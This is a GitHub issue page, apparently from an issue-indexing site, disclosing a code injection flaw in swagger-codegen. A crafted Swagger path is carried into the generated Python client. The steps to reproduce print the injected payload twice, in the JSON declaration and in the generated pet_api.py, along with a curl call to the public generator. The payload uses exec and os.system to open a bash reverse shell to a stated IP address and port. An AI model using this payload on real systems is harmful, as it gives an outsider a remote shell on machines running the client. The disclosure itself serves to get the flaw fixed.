swagger-api / swagger-api/swagger-codegen

Potential code injection vulnerability when generate the API client code from external swagger

Open
#11,309 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Mustache
Stars
17.8k
Forks
6k
PR merge metrics
No merged PRs in 30d

Description

Description

An evil swagger can inject codes in generated API client, which will trigger RCE vulnerability while the API client is running.

This means using swagger-codegen to generate client codes for external swagger is risky.

Swagger-codegen version

latest

Swagger declaration file content or url

http://119.45.124.62/evil_swagger_codegen.json

Command line used for generation
Steps to reproduce
  1. edit https://petstore.swagger.io/v2/swagger.json, inject python codes in swagger declaration:
	"schemes": ["https", "http"],
	"paths": {
		"/pet/{petId}/uploadImage'+str(exec('import os;os.system(\"/bin/bash -i >& /dev/tcp/119.45.124.62/888 0>&1\")'))+'": {
			"post": {
  1. using swagger-codegen to generate a python client.
curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://119.45.124.62/swagger.json"}' https://generator.swagger.io/api/gen/clients/python
  1. download generated python client, payloads injected in swagger_client/api/pet_api.py
return self.api_client.call_api(
            '/pet/{petId}/uploadImage'+str(exec('import os;os.system("/bin/bash -i >& /dev/tcp/119.45.124.62/888 0>&1")'))+'', 'POST',
            path_params,
            query_params,
            header_params,
            body=body_params,
Related issues/PRs

Null

Suggest a fix/enhancement

add security filters while parsing the swagger file.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with the swagger-codegen generation request and the generated Python file swagger_client/api/pet_api.py shown in the report. Trace how the injected path value from the Swagger declaration reaches the generated client, then determine the security filtering boundary. Done means the supplied malicious declaration no longer places executable content in the generated client while normal declarations still generate successfully.

Written by the indexing model from the issue text.

Assessment

Tech stack
openapi, python
Domain
security, tooling
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.